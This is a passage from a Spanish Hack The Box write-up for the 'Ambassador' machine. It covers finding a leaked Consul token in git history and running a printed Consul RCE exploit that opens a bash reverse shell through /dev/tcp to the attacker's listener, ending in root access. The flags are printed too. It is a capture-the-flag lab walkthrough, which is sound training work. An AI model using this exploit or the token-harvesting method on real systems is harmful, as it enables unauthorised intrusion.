snap user.txt
Ahi esta la flag "user.txt", vamos a hacerle un cat
developer@ambassador:~$ ls
snap user.txt
developer@ambassador:~$ cat user.txt
3f43db9adc3f190de4ef0c6e10443ce4
developer@ambassador:~$
4- Escalado de privilegios
Nos vamos a ir a la carpeta /opt/ y vamos a listar los directorios:
developer@ambassador:~$ cd /opt/
developer@ambassador:/opt$ ls
consul my-app
developer@ambassador:/opt$
Vemos que hay un directorio llamado "consul" y otro llamado "my-app", por lo que tiene todo el sentido del mundo que el usuario al llamarse "developer" y una carpeta llamada "my-app", puede que sea una aplicación del desarrollador
Tambien podemos ver la carpeta "consul", que parece ser archivos necesarios para que funcione esta aplicación
4.1 Searchsploit consul
4.1 Searchsploit consul
Vamos a buscar en Searchsploit la palabra clave "consul", referente a la carpeta que encontramos dentro del usuario "developer":
❯ searchsploit consul
------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------- ---------------------------------
Hashicorp Consul - Remote Command Execution via Rexec (Metasploit) | linux/remote/46073.rb
Hashicorp Consul - Remote Command Execution via Services API (Metasploit) | linux/remote/46074.rb
Hashicorp Consul v1.0 - Remote Command Execution (RCE) | multiple/remote/51117.txt
Hassan Consulting Shopping Cart 1.18 - Directory Traversal | cgi/remote/20281.txt
Hassan Consulting Shopping Cart 1.23 - Arbitrary Command Execution | cgi/remote/21104.pl
PHPLeague 0.81 - '/consult/miniseul.php?cheminmini' Remote File Inclusion | php/webapps/28864.txt
------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Nos encontramos con vulnerabilidades RCE(Remote Command Execution)
4.2 Git log a la aplicación del usuario developer
4.2 Git log a la aplicación del usuario developer
Vamos a irnos dentro de la carpeta "my-app" que habiamos encontrado y vamos a ejecutar el comando "git log"
para ver el historial de commits que tiene esta aplicación:
developer@ambassador:/opt$ cd my-app/
developer@ambassador:/opt/my-app$ git log
commit 33a53ef9a207976d5ceceddc41a199558843bf3c (HEAD -> main)
Author: Developer <developer@ambassador.local>
Date: Sun Mar 13 23:47:36 2022 +0000
tidy config script
commit c982db8eff6f10f8f3a7d802f79f2705e7a21b55
Author: Developer <developer@ambassador.local>
Date: Sun Mar 13 23:44:45 2022 +0000
config script
commit 8dce6570187fd1dcfb127f51f147cd1ca8dc01c6
Author: Developer <developer@ambassador.local>
Date: Sun Mar 13 22:47:01 2022 +0000
created project with django CLI
commit 4b8597b167b2fbf8ec35f992224e612bf28d9e51
Author: Developer <developer@ambassador.local>
Date: Sun Mar 13 22:44:11 2022 +0000
.gitignore
developer@ambassador:/opt/my-app$
4.3 Git show a los commits de la aplicación del usuario developer
4.3 Git show a los commits de la aplicación del usuario developer
Vemos que nos da diferentes commits realizado por el desarrollador, concretamente nos interesa el primer commit, vamos a utilizar el comando "git show {Token commit}"
para ver que nos encuentra en este commit de GitHub, el comando quedaria así:
git show 33a53ef9a207976d5ceceddc41a199558843bf3c
Ejecutamos:
developer@ambassador:/opt/my-app$ git show 33a53ef9a207976d5ceceddc41a199558843bf3c
commit 33a53ef9a207976d5ceceddc41a199558843bf3c (HEAD -> main)
Author: Developer <developer@ambassador.local>
Date: Sun Mar 13 23:47:36 2022 +0000
tidy config script
diff --git a/whackywidget/put-config-in-consul.sh b/whackywidget/put-config-in-consul.sh
index 35c08f6..fc51ec0 100755
--- a/whackywidget/put-config-in-consul.sh
+++ b/whackywidget/put-config-in-consul.sh
@@ -1,4 +1,4 @@
# We use Consul for application config in production, this script will help set the correct values for the app
-# Export MYSQL_PASSWORD before running
+# Export MYSQL_PASSWORD and CONSUL_HTTP_TOKEN before running
-consul kv put --token bb03b43b-1d81-d62b-24b5-39540ee469b5 whackywidget/db/mysql_pw $MYSQL_PASSWORD
+consul kv put whackywidget/db/mysql_pw $MYSQL_PASSWORD
developer@ambassador:/opt/my-app$
Nos da información sobre el commit, y tambien vemos que hay cambios dentro del script hecho en Bash llamado "put-config-in-consul.sh", por lo que el nombre refiere a que esta utilizando una aplicación o un servicio llamado "consul", como podemos ver, resulto util la busqueda en Searchsploit de la palabra clave "consul", vamos a utilizar un exploit para "consul", tambien podemos ver un token
Token: bb03b43b-1d81-d62b-24b5-39540ee469b5
4.4 RCE(Remote Command Execution) de "consul"
4.4 RCE(Remote Command Execution) de "consul"
Podemos utilizar cualquier exploit que nos dio Searchsploit o podemos utilizar alguno que se encuentre dentro de GitHub, en mi caso utilizare uno que encontre en ExploitDB:
# Exploit Title: Hashicorp Consul v1.0 - Remote Command Execution (RCE)
# Date: 26/10/2022
# Exploit Author: GatoGamer1155, 0bfxgh0st
# Vendor Homepage: https://www.consul.io/
# Description: Exploit for gain reverse shell on Remote Command Execution via API
# References: https://www.consul.io/api/agent/service.html
# Tested on: Ubuntu Server
# Software Link: https://github.com/hashicorp/consul
import requests, sys
if len(sys.argv) < 6:
print(f"\n[\033[1;31m-\033[1;37m] Usage: python3 {sys.argv[0]} <rhost> <rport> <lhost> <lport> <acl_token>\n")
exit(1)
target = f"http://{sys.argv[1]}:{sys.argv[2]}/v1/agent/service/register"
headers = {"X-Consul-Token": f"{sys.argv[5]}"}
json = {"Address": "127.0.0.1", "check": {"Args": ["/bin/bash", "-c", f"bash -i >& /dev/tcp/{sys.argv[3]}/{sys.argv[4]} 0>&1"], "interval": "10s", "Timeout": "864000s"}, "ID": "gato", "Name": "gato", "Port": 80}
try:
requests.put(target, headers=headers, json=json)
print("\n[\033[1;32m+\033[1;37m] Request sent successfully, check your listener\n")
except:
print("\n[\033[1;31m-\033[1;37m] Something went wrong, check the connection and try again\n")
Nos bajamos el archivo .py del exploit desde ExploitDB con curl:
❯ curl https://www.exploit-db.com/raw/51117 -o rce_ambassador.py
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2178 100 2178 0 0 19815 0 --:--:-- --:--:-- --:--:-- 19981
Nos lo guardaria con el nombre de "rce_ambassador.py"
Vamos a abrir un servidor web con Python donde tengamos el exploit, para bajarnos el exploit a nuestra maquina victima desde SSH con el usuario "developer":
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Y para bajarnos el exploit a la maquina victima utilizaremos "wget"
:
wget http://10.10.14.12/rce_ambassador.py
(En mi caso la IP que me asigno Hack The Box es 10.10.14.12)
Pero antes de realizar la descarga del exploit con el usuario developer mediante SSH, tenemos que movernos al directorio "/tmp/"
o mas conocido como directorio temporal, donde si tenemos permisos de escritura para utilizar el comando "wget" para bajarnos el exploit:
developer@ambassador:/opt/my-app$ cd /tmp/
developer@ambassador:/tmp$ wget http://10.10.14.12/rce_ambassador.py
--2025-02-22 03:16:38-- http://10.10.14.12/rce_ambassador.py
Connecting to 10.10.14.12:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2178 (2.1K) [text/x-python]
Saving to: ‘rce_ambassador.py’
rce_ambassador.py 100%[============================>] 2.13K --.-KB/s in 0.007s
2025-02-22 03:16:39 (317 KB/s) - ‘rce_ambassador.py’ saved [2178/2178]
developer@ambassador:/tmp$
Ahora ya descargado el exploit en la maquina victima, vamos a ponernos en escucha con netcat por el puerto 443 dentro de nuestro Kali:
❯ nc -nlvp 443
listening on [any] 443 ...
Ahora vamos a irnos a la shell donde teniamos acceso a SSH con el usuario developer y vamos a ejecutar el script de Python que utilizare, en mi caso se llama "rce_ambassador.py", lo ejecutaremos con el menu de ayuda utilizando la flag o el parametro "--help":
developer@ambassador:/tmp$ python3 rce_ambassador.py --help
[-] Usage: python3 rce_ambassador.py <rhost> <rport> <lhost> <lport> <acl_token>
developer@ambassador:/tmp$
Como podemos ver, la ejecución de este exploit se haria de la siguiente manera:
python3 rce_ambassador.py {IP Remota} {Puerto Remoto} {IP Kali} {Puerto netcat kali} {Token}
Vamos a ejecutar con mis parametros definidos:
developer@ambassador:/tmp$ python3 rce_ambassador.py 127.0.0.1 8500 10.10.14.12 443 bb03b43b-1d81-d62b-24b5-39540ee469b5
[+] Request sent successfully, check your listener
developer@ambassador:/tmp$
Si vamos a la consola donde teniamos netcat escuchando por el puerto 443:
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.183] 53996
bash: cannot set terminal process group (2531): Inappropriate ioctl for device
bash: no job control in this shell
root@ambassador:/#
Ya somos usuarios root, hagamos un "whoami":
root@ambassador:/# whoami
whoami
root
root@ambassador:/#
4.5 Obtención de la flag root
4.5 Obtención de la flag root
Vemos que estamos en la carpeta raiz del sistema linux, ahora vamos a ir a la carpeta personal del usuario root y listamos los directorios:
root@ambassador:/# cd root
cd root
root@ambassador:~# ls
ls
cleanup.sh
root.txt
snap
root@ambassador:~#
Ahi esta la flag de root, ahora vamos a hacerle un "cat" para visualizarla:
root@ambassador:~# cat root.txt
cat root.txt
8bb69a3c3b4c18b696161ddbb8119cc3
root@ambassador:~#
Con esto, concluimos la maquina "Ambassador" de Hack The Box
Espero te haya sido de ayuda este Write Up :)
Si tuviste alguna dificultad a la hora de resolverlo, no olvides contactarme en mis redes sociales
Última actualización